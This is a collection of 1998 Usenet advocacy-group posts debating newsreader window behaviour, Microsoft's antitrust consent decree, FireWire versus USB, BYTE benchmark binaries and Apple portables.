Date: 8 May 1998 13:54:24 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6ivgsg$jfl$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <6irt0u$r1i$2@ns3.vrx.net> <6iv77u$j0f$1@crib.bevc.blacksburg.va.us> <6iup7q$7c9$1@ns3.vrx.net>
In article <6iup7q$7c9$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <6iv77u$j0f$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> > That would be completely unmanageable if it were the default behavior.
> This is the default behaviour of almost all newsreaders I know - a double
> click opens a new window, whereas a "get next message" (often space) reuses
> the same window. Works perfectly.
In other words, the way to make it manageable is: "ignore the feature"
Yup. Works perfectly. If you double-clicked on everything rather than
spacing to the next message, it would be unmanageable.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 08 May 1998 17:54:15 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <355346C7.AB5A6546@nstar.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net> <6it4lv$n71$2@cronkite.cygnus.com> <3552188E.471E@CONVEX.COM> <35531f8a.0@209.136.2.9>
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Dave Walker wrote:
> Hey... add me to it as well.
>
> Dave Walker
Sorry, first you have to say something incredibly malicious and,
frankly, sick, about an innocent group of people.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Fri, 08 May 1998 17:57:43 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35534797.A9E11506@nstar.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us>
<6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us>
<6infcq$c0h$6@ns3.vrx.net>
<1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net>
<6ip7tl$oum$7@ns3.vrx.net>
<1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net>
<6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net>
<1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net>
<6isc63$9ih$2@ns3.vrx.net>
<1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net>
<35520F22.1486@CONVEX.COM> <SCOTT.98May7223535@slave.doubleu.com> <SCOTT.98May8101041@slave.doubleu.com>
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Scott Hess wrote:
> "Generally" in a more general sense, folks. You can purchase as many
> Pop3 boxes as you like, but you can't just go reading any Pop3 box you
> choose. You _can_ go reading any newsgroup you choose.
That so? Try reading the "convex.*" newsgroups from your server.
> In general,
Ah, well, that's an automatic out.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Fri, 08 May 1998 18:01:15 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3553486B.F9995DF1@nstar.net>
References: <6icrin$6ra@newsb.netnews.att.com> <6irt0u$r1i$2@ns3.vrx.net> <6iv77u$j0f$1@crib.bevc.blacksburg.va.us> <6iup7q$7c9$1@ns3.vrx.net> <6ivgsg$jfl$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> > This is the default behaviour of almost all newsreaders I know - a double
> > click opens a new window, whereas a "get next message" (often space) reuses
> > the same window. Works perfectly.
>
> In other words, the way to make it manageable is: "ignore the feature"
> Yup. Works perfectly. If you double-clicked on everything rather than
> spacing to the next message, it would be unmanageable.
Err, no. As Maury said, most newsreaders use the same window regardless
of how you get to the next message. If you double-click on every
message, it keeps the same window.
Netscape Communicator's mail client has a preferences-level option for
configuring this option. You can choose to open a new window with each
message, or to reuse a single window.
MJP
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 8 May 1998 14:13:47 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6ivi0r$jip$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <6iup7q$7c9$1@ns3.vrx.net> <6ivgsg$jfl$1@crib.bevc.blacksburg.va.us> <3553486B.F9995DF1@nstar.net>
In article <3553486B.F9995DF1@nstar.net>, "Michael J. Peck" <mjpeck@nstar.net> wrote:
> Nathan Urban wrote:
> > > This is the default behaviour of almost all newsreaders I know - a
> > > double click opens a new window, whereas a "get next message" (often
> > > space) reuses the same window. Works perfectly.
> > In other words, the way to make it manageable is: "ignore the feature"
> > Yup. Works perfectly. If you double-clicked on everything rather than
> > spacing to the next message, it would be unmanageable.
> Err, no. As Maury said, most newsreaders use the same window regardless
> of how you get to the next message. If you double-click on every
> message, it keeps the same window.
Err, no. What Maury said was that in almost all newsreaders that he
knows, double-clicking on every message opens a new window, whereas
"get next message" (often space) reuses the same window.
> Netscape Communicator's mail client has a preferences-level option for
> configuring this option. You can choose to open a new window with each
> message, or to reuse a single window.
That really has nothing to do with what we were talking about.
My original statement was that "if opening a new window for each message
were the default behavior, it would be unmanageable". Maury's article
was in response to that. Follow it from there.
His reply was essentially, "Well, you can do both." And I said "Right,
and the reason why that's not unmanageable is because you're _not_
opening a new window by default, you're spacing to the next message and
reusing the window." (Netscape does this differently, perhaps, but it
doesn't change the point that a newsreader that by default opened a new
window for each message would be terrible.)
Date: Fri, 08 May 1998 08:04:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Message-ID: <joe.ragosta-0805980804420001@wil101.dol.net>
References: <6i2b0h$bll$16@ironhorse.plsys.co.uk> <B17793F8-48348@207.217.155.113> <6iun83$4f3$9@ironhorse.plsys.co.uk>
In article <6iun83$4f3$9@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <B17793F8-48348@207.217.155.113> "Brad Hutchings" wrote:
> > Which of the "Top 100 developers" that Steve Jobs referred to at the
> > shareholders meeting are actively developing Rhapsody products?
> >
> Don't know, don't particularly care. I do know that there are over 100
> developers developing for Rhapsody (no, I'm not going to list them).
Brad, if you're really interested in a partial list, go to my web site and
hit the "Rhapsody" link. There are links to lots of pages with application
lists.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Fri, 08 May 1998 11:17:43 -0700
Organization: Trilithon Research and Trading
Message-ID: <35534C47.454F66AA@trilithon.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu>
Mime-Version: 1.0
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CC: ngmankiw@fas.harvard.edu
Eric Hermanson wrote:
* Anyway, for all those interested, here is Dr Mankiw's
* 'cop-out' response to me via email:
* * Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING
MICROSOFT
* * Date: Thu, 7 May 1998 17:17:09 -0400 (EDT)
* * From: "N. G. Mankiw" <ngmankiw@fas.harvard.edu>
* * To: Eric Hermanson <eric@alum.MIT.EDU>
* * I have no opinion about Windows 98 or any other
* * operating system. My remarks were about the
* * government's pending decision to replace with the
* * free market's judgment with its own. I am not an
* * advocate for Microsoft. I am an advocate for an
* * unfettered market economy.
Hi Eric. Maybe it's just me, but I didn't read his remarks
to you as a cop out. What I read into his reply to you is
that he wants the government out of free-market decision
making. We have ample historical evidence that governmental
interference in the operations of the marketplace either don't
change anything very much, or are a positive drag on the
business(es) under consideration.
Standard Oil is a classic historical example. All the evidence
indicates that Rockefeller, far from conspiring to fix or
control pricing, was trying to maintain reasonable pricing to
prevent the independents at the time from flooding the market
with too much oil that would drive prices down to unprofitable
levels. The JD saw Rockefeller's actions as monopolistic and
eventually broke up the company. It's not clear over the long
run whether or not this was a good thing.
The Justice Department versus IBM was another more recent
example. The JD basically spent thirteen years on a case
against IBM, that in hindsight, not only appears to be very
similar to their current case against Microsoft, but also
was eventually thrown out because the case had no merit.
And the free market (in the shape of Compaq and Microsoft)
hammered IBM anyway. After all the shouting, IBM essentially
shot off their own corporate foot(s) --- they didn't need any
other private or governmental entity to do it for them.
Just as an aside, IBM are back in force now, having competed
successfully in the free market and recovered quite nicely.
I have expressed this opinion many times before, but I'll
express it again: while you're all looking anxiously over
your shoulders at Microsoft, the company that will reduce
Microsoft to rubble, IBM-style, is probably six blokes in a
garage somewhere. A couple of decades ago, who would have
thought that Radio Shack, Apple, and Microsoft would be
competing in the marketplace with IBM? If you were to ask
people at the time how to reduce the threat of IBM, they
would have pointed to the BUNCH and ICL and the short
lived European consortium called UniSys (no relation to
Burroughs/Univac). People weren't even aware of the existence
of companies like Vector Graphics, Osborne, and Apple, and
didn't give MicroSoft a second thought --- they were viewed as
a bunch of pimply kids with a BASIC interpreter.
By the way, take a read of Professor Mankiw's book
Principles of Economics, and see what conclusions
you reach vis a vis "cop out".
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 08 May 1998 18:25:50 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ivine$j8e$1@nnrp1.dejanews.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ipuo7$606$1@strato.ultra.net> <rmcassid-0605981338290001@dante.eng.uci.edu>
In article <rmcassid-0605981338290001@dante.eng.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
>
> In article <6ipuo7$606$1@strato.ultra.net>, "John Saunders"
> <jws@jws.ultranet.com> wrote:
>
> >Robert,
> >
> >Companies will often agree to consent decrees and out-of-court settlements,
> >not because they're guilty, but because it's cheaper. Lawyers are
expensive,
> >time spent in court is expensive, and so is the uncertainty in your
partners
> >due to not knowing the outcome of a trial. A trial, and the attendant cost
> >and uncertainty can stretch on for months. But a settlement represents the
> >period at the end of the sentence, even when the sentence itself is an
> >unpleasant one.
> >
> >Accepting a settlement or consent decree, or for that matter, pleading
> >guilty to a lesser charge, are not admissions of guilt. It doesn't mean
> >they're "unofficially guilty".
>
> Normally I would agree with you, but in the case of a consent decree which
> *clearly* hampers MS's ability to move into new markets, I can't see them
> willing to do that just to save a few bucks. MS isn't built on the dollars
> of today which pay legal expenses, rather on the dollars of tomorrow which
> hold up their stock price.
>
> The non-bundling clause is *huge*, unless MS was going to:
>
> A) ignore it.
> B) pretend it is meaningless.
>
How about "C) point to the negotiating history and Contract Law"
Microsoft has pointed to several 1994 public statements and legal documents
where the DOJ seems to agree with Microsoft's understanding that the
agreement does not pertain to "bundled" integrated products.
Contract Law enforces the Agreement's meaning AT THE TIME IT WAS SIGNED.
The DOJ is clearly trying to avoid historical evidence. They made NO
reference to the negotiating history of the Consent decree in their first
two motions. They continue to avoid providing any historical evidence to
counter Microsoft's version.
Did you miss my previous post, or are you trying to ignore the obvious too?
> Clearly they chose B based on the 'we can bundle a ham sandwich if we
> want' remark. A ham sandwich IS a separate product, just as a web browser
> is.
The DOJ has changed its spin(again)and seems to be agreeing that Microsoft
can integrate a "ham sandwich" as long as it is not also marketed them
separately.
see http://www.usdoj.gov/atr/cases3/micros/1582.htm
"Microsoft is permitted by the proviso to develop any integrated product it
wishes without violating Section IV(E)(i). Microsoft "develop[s an]
integrated product" within the meaning of Section IV(E)(i), for example,
when it incorporates new features (even if they might otherwise comprise a
distinct product for tying law purposes) into an OS product and offers the
new product to OEMs....But the proviso does not permit Microsoft to require
OEMs to take the OS and other features as part of a package when Microsoft
simultaneously treats those other features as, and antitrust law regards
them as, a distinct commercial product."
Please note phrases "ANY integrated product" and "even if they might
otherwise comprise a distinct product for tying law purposes". Microsoft
CAN integrate separate products. Even according to the DOJ.
>I can't imagine that MS would willingly put a bullet in their plans
> for growth unless they were caught pretty much dead to rights. Perhaps it
> was just a massive screwup by MS execs and legal council.
>
EXACTLY. You "can't imagine" it and most prudent individuals "can't imagine"
it either. Microsoft is pointing to historical evidence showing they wrote
the exception clause into section IV to allow them to integrate MSDOS,
O'Hare (Internet Explorer) and other "separate products" into Chicago
(Windows95). An unbiased look at the negotiating history would lead one to
agree that this is "plausible". Judge Jackson said this in his decision not
to find Microsoft in contempt.
> MS didn't plea to a lesser charge, they pled to a very significant charge.
They didn't "plea" to any charge, they signed an agreement.
> One that could cost them billions. So why wouldn't they fight it out if
> those were the stakes? Even all the tobacco wrangling has stayed far shy
> of the $1B mark for legal fees.
They didn't fight it out because they gave up very little. They probably
would have lost the "per-processor" licensing practice anyway. The DOJ
didn't press other issues like "vaporware" nor "tying". It was a European
agency along with DrDos supporters that asked that Section IV be put in.
Remember, this was 1994 when a lot of people thought (hoped?) Windows95 was
going to be a flop.
>
> And in spite of all of this, you avoided the point altogether. Just
> because they weren't found liable for something, doesn't mean that they
> didn't do it. Do you want to know if they did it, or if they were found
> liable for it? Is it alright if I kill someone, just so long as I don't
> get caught?
>
Fine, then charge Microsoft with the crime they committed. The DOJ didn't do
that. The Contempt Charge was a politically safe way to get Microsoft into
court. The fact the Microsoft was not guilty of contempt, was a minor
inconvenience. The Contempt Case is over (Judge Jackson said it, the DOJ
admitted it). The DOJ is continuing the practice of "politics" not
"Jurisprudence".
David Petticord
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Intel puts brakes on FireWire
Date: 8 May 1998 18:56:10 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ivkga$kai@newsb.netnews.att.com>
Originator: gupta@tlctest
http://www.zdnet.com/pcweek/news/0504/08afire.html
A few months ago, Adaptec dropped out of the Firewire market;
now Intel has cancelled plans to integrate support for
Firewire in its next-generation 440BX chip set.
***
What does this mean for Apple and its Firewire plans ?
-arun gupta
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: Fri, 08 May 1998 15:05:46 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0805981505460001@132.236.171.104>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov>
In article <djboccip-0605981313420001@qburst.msfc.nasa.gov>,
djboccip@hiwaay.net (Dr. Dennis J. Boccippio) wrote:
> Some other points on this. The BYTEmark binary, if you download it
> today, is identical to that from 6 April (previous time I downloaded it),
> and still at DR/3. _If_ there was a change, it was well more than
> "a couple of weeks ago".
I'd say it was two to three months ago.
> Not to mention that the folder creation date for DR/3 is 7 February 1996.
> Either Byte insidiously placed a new binary in the _same_ DR/3 folder,
> or you've gotten this wrong.
Up until a few months ago, the archive you got from BYTE contained two
executables, one compiled with CW8 and one with MCC 2.0. The docs also
specified the optimization settings that were used.
I real-downloaded this sometime this year, but I don't recall when (I can
probably check my machine at home, since I think I still have the original
archive). But a few weeks ago a friend told me that BYTE had a "new"
release. Although their web page never mentioned a change, you now get
only a single Mac binary, and it's much faster than either of the previous
ones.
> Anyway, I don't see any claims on Byte's site that the Mac binaries
> are (or, in the time frame of the Snail Ad, were) compiled with CodeWarrior.
> The Docs section talks about analysis of CodeWarrior optimization,
> but this was for _680x0_ code, and presumably ancient docs. I see no
> reason to think that anything other than DR/3 as it currently is posted
> was used for the Snail Ad.
One binary was CW8, the other was MCC 2.0.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Intel puts brakes on FireWire
Date: 8 May 1998 14:05:47 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6iv3fr$ekq$2@ns3.vrx.net>
References: <6ivkga$kai@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: gupta@kcopsrm.tm.tta.moc-mirror after @
In <6ivkga$kai@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @
claimed:
> http://www.zdnet.com/pcweek/news/0504/08afire.html
>
> A few months ago, Adaptec dropped out of the Firewire market;
> now Intel has cancelled plans to integrate support for
> Firewire in its next-generation 440BX chip set.
Their reasons being "lack of demand". Odd, every one of their motherboards
has USB support, yet I *still* have yet to see a *single* machine using them.
Yet they didn't drop USB. Hmmm, one is from Intel, the other isn't. NIH?
Maury
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Fri, 8 May 1998 18:46:49 +0000
Organization: All USENET -- http://www.Supernews.com
Message-ID: <slrn6l6kop.r8n.jedi@dementia.mishnet>
References: <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com> <35528eae.49366355@news.direct.ca> <35562491.1753843@news.qualcomm.com> <35544c52.8483605@news.direct.ca>
On Fri, 08 May 1998 18:30:16 GMT, Glenn Davies <glend@no_spam.direct.ca> wrote:
>On Fri, 08 May 1998 15:30:07 GMT, sdenbes1@san.rr.com (Steven C. Den
>Beste) wrote:
>
>>On Wed, 06 May 1998 17:28:55 GMT, glend@no_spam.direct.ca (Glenn Davies)
>>sent this by carrier pigeon:
>>
>>>On Tue, 5 May 1998 12:02:24 -0500, "Pinochet"
>>><9grayhome9@00sprintmail0me0.com> wrote:
>>>
>>>>
>>>>Rolf Magnus wrote in message <354F4C4F.3C93@zvw._REMOVE_THIS_de>...
>>>>> > Well, actually MS is trying to encourage the switch to NT, and
>>>>>DirectX6 will be on NT5 first, so I think you're a little behind the
>>>>times.
>>>>>
>>>>>That makes it even worse.
>>>>
>>>>No, it doesn't...you're making some foolish assumptions, that's what.
>>>>
>>>>
>>>>>That means that by now, Microsoft is forcing us to use win95 since
>>>>>directx 5 will not come out for NT4.
>>>>
>>>>Well, actually you CAN get DX5 for NT4, however since DX6 is so
>>>>close, MS has decided not to release that patch(though you can still
>>>>get it), and instead will have one for DX6 when it is done.
>>>
>>>Please tell me how one can get DX5 for NT - what MS URL is there for
>>>it? Also DX6 is slated to only be supported under NT 5 not NT 4 - I
>>>guess we're going to have to wait.
>>
>>DirectX 5 for NT can be downloaded from the following location:
>>
>>http://www.stefan98.com/download/nt4dx5.zip
>>
>
>So an unathorized, unsupported, non-hardware accelerated, not even a
>beta version, now consitutes DirectX5 for NT?
CAn't you just see those game programmers just salivating now...
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 8 May 1998 19:13:00 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ivlfs$kd6@newsb.netnews.att.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com>
Originator: gupta@tlctest
Henry McGilton <henry@trilithon.com> wrote:
>
>Hi Eric. Maybe it's just me, but I didn't read his remarks
>to you as a cop out. What I read into his reply to you is
>that he wants the government out of free-market decision
>making. We have ample historical evidence that governmental
>interference in the operations of the marketplace either don't
>change anything very much, or are a positive drag on the
>business(es) under consideration.
It all depends on whether you think that the government is
enforcing the laws, as it should; or whether it is engaged
in a politically motivated effort to pick market winners and
losers.
To give you an example, R*** Inc., is one of India's
fastest growing industrial conglomerates, and naturally,
its shares are hot. But buying its shares can be risky --
there are counterfeit share certificates floating around, some of
them issued by R*** itself.
Now, is the Indian government stepping in to curb this
"governmental interference in the operations of the marketplace" ?
Why should not the marketplace determine what can and cannot
be sold ? The unfettered free-market theory would be that eventually
enough people would be bitten and the demand for and trade
in R*** shares would drop. The problem is that in the meanwhile,
you have probably reduced to zero any confidence in your stock-
exchange, and everyone goes down the tubes.
From my perspective, Microsoft broke laws and hence had to sign
a agreement with the DOJ. If this agreement precludes Microsoft
from engaging in certain forms of business, or selling certain
items, this is no more "governmental interference" than it is
to keep Michael Milken from being a stockbroker.
Perhaps the kind of product that Microsoft wants to sell now
wasn't even envisaged when the consent decree was signed, and
the market has changed since. Well, too bad for Microsoft.
If an individual commits a crime and goes to jail, he cannot
participate in economic life in the normal way, and this is
not an abridgment of the free market. You can't send
corporations to jail but the principle is the same.
-arun gupta
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: 8 May 1998 14:10:19 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6iv3ob$ekq$4@ns3.vrx.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com>
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Cc: henry@trilithon.com
In <35534C47.454F66AA@trilithon.com> Henry McGilton claimed:
No, sorry, not BS. Maybe "overbearing"?
Maury
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Intel puts brakes on FireWire
Date: Fri, 08 May 1998 14:26:29 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35535C65.4730@CONVEX.COM>
References: <6ivkga$kai@newsb.netnews.att.com> <6iv3fr$ekq$2@ns3.vrx.net>
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Maury Markowitz wrote:
> Their reasons being "lack of demand". Odd, every one of their motherboards
> has USB support, yet I *still* have yet to see a *single* machine using them.
> Yet they didn't drop USB. Hmmm, one is from Intel, the other isn't. NIH?
Naw, surely not. "Lack of demand" can mean a lot of things, and it
probably means, in this case, that the demand from *vendors* hasn't
materialized. By contrast, I imagine demand from *vendors* (like
joystick, mouse, and keyboard manufacturers, as a small example) for USB
support has been quite lively (and is one of the reasons that delaying
Windows 98 would be a strain of sorts).
Isn't USB a lot cheaper to implement than FireWire? You won't see much
consumer demand for anything until supporting products ship, anyway, so
"lack of demand" probably means that very few manufacturers are
interested in making FireWire devices, despite its merits, whatever they
are.
After all, so many of the low-cost, high-utility peripheral upgrades in
demand today need nothing faster than USB. FireWire appeals to
higher-margin, more professional users, and the pitch probably hasn't
been as successful as Intel and Adaptec would have liked.
MJP
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 8 May 1998 21:21:25 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6ivlvl$9tq$1@larry.admin.phil.uu.nl>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <1d8p8e2.14z9x3g1sihky4N@p002.intchg2.net.ubc.ca>
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Bruce:
>Students, writers, journalists -- perhaps almost everyone who can type
>-- are waiting for a cheaper eMate, in effect a super-rugged,
>lightweight word-processing notebook with file-transfer capabilities and
>long, long battery life.
Yes. Hm, yes. Yes! Oh, yes! [close to orgasm]
These are _exactly_ the features I think are important.
Please note the super-rugged. Please note the lightweight.
(And if possible integrate the power supply & power cable in
some way in the shape of the thing: people are taking these
items with them anyway all the time, and having a separate
item that bumps around in your bag is _awkward.)_
No, you don't need to include a floppy drive or SCSI port :-)
Freek
(I'd buy it: I'd definitely buy it)
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 8 May 1998 21:22:35 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6ivm1r$9un$1@larry.admin.phil.uu.nl>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com>
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Barry:
>Steve Jobs did say they were planning a consumer level portable to be
>introduced in '99. There are also rumours going round of a Mac in the eMate
>form factor. Cross that with the iMac and what do you get?
It will be over $1000. Too expensive to be a hit.
Freek
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 8 May 1998 19:35:42 GMT
Organization: VHA Inc.
Message-ID: <01bd7ab9$5cd5dd20$8383050a@bgravitt.CORP.VHA.COM>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com> <35508936.514A@CONVEX.COM> <35577677.21461540@news.nai.net>
Perry.Fecteau@Republican.COM <perfecto@ct2.nai.net> wrote in article
<35577677.21461540@news.nai.net>...
> On Wed, 06 May 1998 11:00:54 -0500, Michael Peck <MJPECK@CONVEX.COM>
> wrote:
>
> >And on, and on, and on, and on. Printers, QuickCams, caller ID boxes,
> >telephones, radios, and hundreds of other devices designed to expand the
> >functionality of a desktop computer all qualify for the benefits of a
> >high-speed, standardized, chainable serial interface.
>
> kinda like scsi eh?
>
SCSI is a high speed, daisy-chain, parallel interface for high performance
peripherals.
USB is a serial interface designed to make attaching additional lowspeed
devices to your computer easy. Mostly Human interface devices.
These technologies were designed to make hooking up peripherals easier and
to get around the limitations of the IBM style personal computer
architecture.
>
> --
> Dead Republican
> Check out Dead Republican's anti MicroSoft song <alt.netted.out> at:
> http://w3.nai.net/~perfecto/deadrep.html
> (I think I fixed the RealAudio problem)
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
My opinions are mine alone - though others may borrow...
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 8 May 1998 19:31:12 GMT
Organization: Cygnus Solutions
Message-ID: <6ivmi0$822$1@cronkite.cygnus.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net>
<6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net>
<6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net>
<6it4lv$n71$2@cronkite.cygnus.com> <3552188E.471E@CONVEX.COM>
<35531f8a.0@209.136.2.9> <355346C7.AB5A6546@nstar.net>
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Cc: mjpeck@nstar.net
In <355346C7.AB5A6546@nstar.net> "Michael J. Peck" wrote:
> Dave Walker wrote:
>
> > Hey... add me to it as well.
> >
> > Dave Walker
>
> Sorry, first you have to say something incredibly malicious and,
> frankly, sick, about an innocent group of people.
>
> MJP
>
What's so innocent about sheep who follow someone blindly?
They have actively decided to avoid finding out what the best solution is.
They have actively decided to avoid forcing MS to be open. They are in fact
the problem, in that their quiet capitulation is what gave MS its power base.
